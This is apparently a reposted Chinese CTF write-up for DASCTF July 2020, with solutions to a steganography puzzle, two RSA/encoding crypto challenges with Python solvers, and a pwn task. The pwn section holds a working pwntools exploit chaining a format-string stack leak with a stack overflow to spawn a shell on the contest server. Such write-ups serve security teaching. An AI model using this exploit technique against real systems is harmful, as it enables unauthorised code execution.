DASCTF2020-7月赛 部分wp(misc,pwn,crypto)

五个小时,刚好把杂项,密码学,pwn的签到题做出来了,哈哈哈,wp记录一下。

比赛时间:2020-07-25 10:00-15:00

0x01.MISC - welcome to the misc world

考点:
1.lsb隐写与zsteg的使用
2.Nfts隐写
3.base85加密

  • 下载得到的是一个rar文件。

  • 解压的得到一张图片和一个压缩包,压缩包打开发现需要密码。
    在这里插入图片描述

  • 尝试看是否是伪加密,发现不是。说明我们需要通过这张图片得到压缩包密码。

  • 将图片放入StegSolve,没发现有用信息。

  • 猜测是lsb隐写,把png文件放到kali里,用zsteg检查以下。

在这里插入图片描述

  • 发现有一张png文件在里面,用zsteg提取出来。
zsteg -E "b1,r,lsb,xy" red_blue.png > 1.png

在这里插入图片描述

  • 得到包含rar文件的密码。

在这里插入图片描述

  • 打开rar文件,发现有flag文本。(其实这是360压缩默认查看了ntfs隐写,有的压缩软件是看不到的,需要使用工具或者用命令行查看7,jpg中的ntfs信息)

在这里插入图片描述

  • 打开是一段字符串,发现含有"^%这些字符,猜测使用base85进行加密。

在这里插入图片描述

Ao(mgHXo,o0fV'I2J"^%3&**[email protected],V%$1GCdB0P"X%0RW
d9518636e44

0x02.CRYPTO - bullshit

考点:
逆向解密脚本的编写

  • 打开环境,给定如下的脚本:
from flag import flag
def pairing(a,b):
    shell = max(a, b)
    step = min(a, b)
    if step == b:
        flag = 0
    else:
        flag = 1
    return shell ** 2 + step * 2 + flag

def encrypt(message):
    res = ''
    for i in range(0,len(message),2):
        res += str(pairing(message[i],message[i+1]))
    return res

print(encrypt(flag))
# 1186910804152291019933541010532411051999082499105051010395199519323297119520312715722
  • 加密思路:将flag每两位进行pairing运算,得到的int类型的返回值转换为字符串进行拼接,得到最终的密文

  • 解密思路:分离初flag每两位加密得到子串,对每个字串进行爆破,每次爆破得到flag的两位,拼接得到最终的flag

  • 难点突破:如何正常的将flag每两位得到的字串从最终的字符串中分离出来?

    • flag字符串转换为数字进行运算,是ASCII码,flag的可能包含的字符是:0-9,a-z,A-Z。说明flag的取值范围为[48,125]。
    • 那么pairing返回的最小值为pairing(48,48)=2400,返回的最大值为pairing(125,125)=15875。
    • pairing的取值范围为[2400,15875],按照这个范围对密文进行分组,爆破得到flag
from Crypto.Util.number import *

def pairing(a,b):
    shell = max(a, b)
    step = min(a, b)
    if step == b:
        flag = 0
    else:
        flag = 1
    return shell ** 2 + step * 2 + flag

def decrypt(s):
    for i in range(255):
        for j in range(255):
            if pairing(i,j) == s:
                return i,j
final = [11869,10804,15229,10199,3354,10105,3241,10519,9908,2499,10505,10103,9519,9519,3232,9711,9520,3127,5722]
result = []
for i in final:
    if decrypt(i):
        a,b = decrypt(i)
        result.append(a)
        result.append(b)
flag = ''
for i in result:
    flag += chr(i)
print(flag)
# flag{2cd494d489f5c112f3da7a7805b7a730K

0x03.CRYPTO - ezrsa

这个题以前作过类似的线性解的,所以一开始就瞄准是否可以直接开方解出,果然可以,于是借用了以下以前的脚本。

考点:
rsa Related Message Attack

  • 打开环境,给定如下的脚本:
from secret import flag
from Crypto.Util.number import getPrime,inverse,bytes_to_long,long_to_bytes
from sympy import isprime

m = bytes_to_long(flag)

i=0
p=getPrime(1024)
r=getPrime(1024)
while True:
    i+=1
    q = 5*p+i
    if isprime(q) :
        break

n=p*q*r
e = 65537
c = pow(m,e,n)
p3 = pow(p,3,n)
q3 = pow(q,3,n)
print c
print e
print n
print p3
print q3

#c=121836624300974075697021410307617877799398704636412997043885070081959280989429720121505939271618801519845564677294487289085261071864489530938936756975266796724602572135614554790383740417604947122325421381322155502222532570899845171858215244411945889235509975121332503672838693190271397334662495169940649349725607212867270114445618201171582223868214171942753939282404133460110489725340075179818856587044172460703519751189284498768640898837525773823127259807337383870535232880471869465188882667401540052151795173003568424369575866780354852158304748299284900468768898966143729562589110027789165774068500360970335261801131264801996703446527156709491597639262305131309592217711956181866054589085773085822482247966030763162382493197473555330201343835684065991963179440335668817727280429581864224497755004825170263803174390985868997862117983334405815543271969716910040927833496696049703621334172902517666284662473059140662717708823
#e=65537
#n=20361372240024088786698455948788052559208001789410016096382703853157107986024860262721685000417719260611935731634077852127432140361792767202581631816544546972750034494061276779878409544779707914261679633764772575040304712361634318086289783951555842021028438799649252652041211341825451500751760872572402250747982495384263677669526575825183733353800694161425360299521143726681387485097281832219009682768523304737252763907939642212542959846630464628135025203489075698699980715986689341069964387779523254203021424865355054215122316160201073604105317768112281914334065349420946717116563634883368316247495042216330408372176714499012778410160478384503335610321108263706243329745785632599707740534386988945259578897614317582546751658480917188464178997026284336861027299289073045677754342746386408505695243800685323283852020325044649604548575089927541935884800327121875191739922436199496098842684301207745090701158839031935190703347091
#p3=3639847731266473012111996909765465259684540134584180368372338570948892196816095838781423020996407457408188225238520927483809091079993151555076781372882518810174687150067903870448436299501557380508793238254471833275507634732947964907461619182112787911133054275872120243558556697900528427679352181961312958660881800731678134481664074711076672290178389996403357076809805422591851145306425951725627843352207233693810474618882394140691334742086008967260117740486955640068190440609984095657695423536016475468229419187489359563800737261212975921663803729112420222039005478830477455592167092520074509241894829304209406713781082959299623674294927249556083486223036858674077173104518013601628447504500606447821540687465361616447631579976579754996021653630804073535352129315413118764836270751250405649683786487251823247828947202336680538849571498780353357272103697510910576879383751704763858882439578045020243015928994208017750848637513
#q3=7030777127779173206633582847346001157991477456002191926122836599155148909465054067800807615361108442560942058865403188672629297039703065927801771646334817871335134889139894648729527452541098449842202838983982508551750669662540615534327150829869964429006130891731472099912937717406120443380283548571270317421722042835639732966975812764084015221255115940508456442279902250677665136380988902682370875602145833135937210740790528756301051981994351553247852018355526641012434670664732924491790949235519600899289515495046353559475806935200029321563549553167235419039924276406059858659476329718809657072997385947262654743181242885709558209249589482036673428723035300722280229192727192487772217518673838209646300548275957450994828221329299666216457961746189885356929698674294944243729739850927111231235060005119781652245234537583181232715964191675241206562888107252569566488402724441835466680342239244581162530424964324562530832713397
  • 简单看一下脚本,从中得出:

    • rsa加密。
    • q是p的五倍多一点。(线性关系)
    • 已知e,pow(p,3,n),pow(q,3,n),n。
    • 需要根据c得到明文flag。
  • 理清以下pqrn的大小关系,q是p的五倍多,p不超过r的两倍,所以p^3是小于n的,所以可用开方解出p。

  • 再依此得到q,r,phi,d。

  • 最后解密得到密文。

  • 解密脚本:

from Crypto.Util.number import *
from sympy import isprime
from gmpy2 import *
c=121836624300974075697021410307617877799398704636412997043885070081959280989429720121505939271618801519845564677294487289085261071864489530938936756975266796724602572135614554790383740417604947122325421381322155502222532570899845171858215244411945889235509975121332503672838693190271397334662495169940649349725607212867270114445618201171582223868214171942753939282404133460110489725340075179818856587044172460703519751189284498768640898837525773823127259807337383870535232880471869465188882667401540052151795173003568424369575866780354852158304748299284900468768898966143729562589110027789165774068500360970335261801131264801996703446527156709491597639262305131309592217711956181866054589085773085822482247966030763162382493197473555330201343835684065991963179440335668817727280429581864224497755004825170263803174390985868997862117983334405815543271969716910040927833496696049703621334172902517666284662473059140662717708823
q3=7030777127779173206633582847346001157991477456002191926122836599155148909465054067800807615361108442560942058865403188672629297039703065927801771646334817871335134889139894648729527452541098449842202838983982508551750669662540615534327150829869964429006130891731472099912937717406120443380283548571270317421722042835639732966975812764084015221255115940508456442279902250677665136380988902682370875602145833135937210740790528756301051981994351553247852018355526641012434670664732924491790949235519600899289515495046353559475806935200029321563549553167235419039924276406059858659476329718809657072997385947262654743181242885709558209249589482036673428723035300722280229192727192487772217518673838209646300548275957450994828221329299666216457961746189885356929698674294944243729739850927111231235060005119781652245234537583181232715964191675241206562888107252569566488402724441835466680342239244581162530424964324562530832713397
p3=3639847731266473012111996909765465259684540134584180368372338570948892196816095838781423020996407457408188225238520927483809091079993151555076781372882518810174687150067903870448436299501557380508793238254471833275507634732947964907461619182112787911133054275872120243558556697900528427679352181961312958660881800731678134481664074711076672290178389996403357076809805422591851145306425951725627843352207233693810474618882394140691334742086008967260117740486955640068190440609984095657695423536016475468229419187489359563800737261212975921663803729112420222039005478830477455592167092520074509241894829304209406713781082959299623674294927249556083486223036858674077173104518013601628447504500606447821540687465361616447631579976579754996021653630804073535352129315413118764836270751250405649683786487251823247828947202336680538849571498780353357272103697510910576879383751704763858882439578045020243015928994208017750848637513
n=20361372240024088786698455948788052559208001789410016096382703853157107986024860262721685000417719260611935731634077852127432140361792767202581631816544546972750034494061276779878409544779707914261679633764772575040304712361634318086289783951555842021028438799649252652041211341825451500751760872572402250747982495384263677669526575825183733353800694161425360299521143726681387485097281832219009682768523304737252763907939642212542959846630464628135025203489075698699980715986689341069964387779523254203021424865355054215122316160201073604105317768112281914334065349420946717116563634883368316247495042216330408372176714499012778410160478384503335610321108263706243329745785632599707740534386988945259578897614317582546751658480917188464178997026284336861027299289073045677754342746386408505695243800685323283852020325044649604548575089927541935884800327121875191739922436199496098842684301207745090701158839031935190703347091
e=65537

p=iroot(p3,3)[0]
i=0
while True:
    i+=1
    q = 5*p+i
    if isprime(q):
        break
r=n//(p*q)
phi=(p-1)*(q-1)*(r-1)
d=invert(e,phi)
m=pow(c,d,n)
flag=long_to_bytes(m)
print(flag)

0x04.PWN - 虚假的签到题

由于题目是虚假的签到题,所以一开始就没有以简单题的心态去做,看到栈溢出很明显,就知道有坑,结果最后修改了一手esp,妙啊~

考点:
栈溢出
格式化字符串漏洞

  • 32位程序,仅开启NX,查看源码:

在这里插入图片描述

  • 很明显一个格式化字符串漏洞,一个栈溢出。且存在/bin/sh。

  • 但是在main函数的末尾leave之后修改了esp为ecx-4,所以esp=[ebp-4]-4。

  • 所以我们不能单单利用后面的栈溢出,还需要格式化字符串漏洞泄露栈的地址。

  • 攻击思路:

    • 格式化字符串漏洞泄漏栈地址
    • 修改ebp-4的值为可控地址
    • 修改可控地址-4处的值为/bin/sh
  • exp如下:

from pwn import *

if args['REMOTE']:
    sh=remote('183.129.189.60',10013)
else:
    sh=process('./qiandao')

def exp():
    sh.recvuntil(":")
    sh.sendline("%2$p")
    sh.recvuntil("\n")
    stack=int(sh.recvuntil("\n").replace("\n",""),16)-0x24
    sh.info("stack" + ': {:#x}'.format(stack))
    sh.recvuntil("?")
    payload=p32(0x0804857D)+"\x00"*0x20+p32(stack)
    sh.sendline(payload)
    sh.interactive()

exp()

猜你喜欢

转载自blog.csdn.net/ATFWUS/article/details/107583752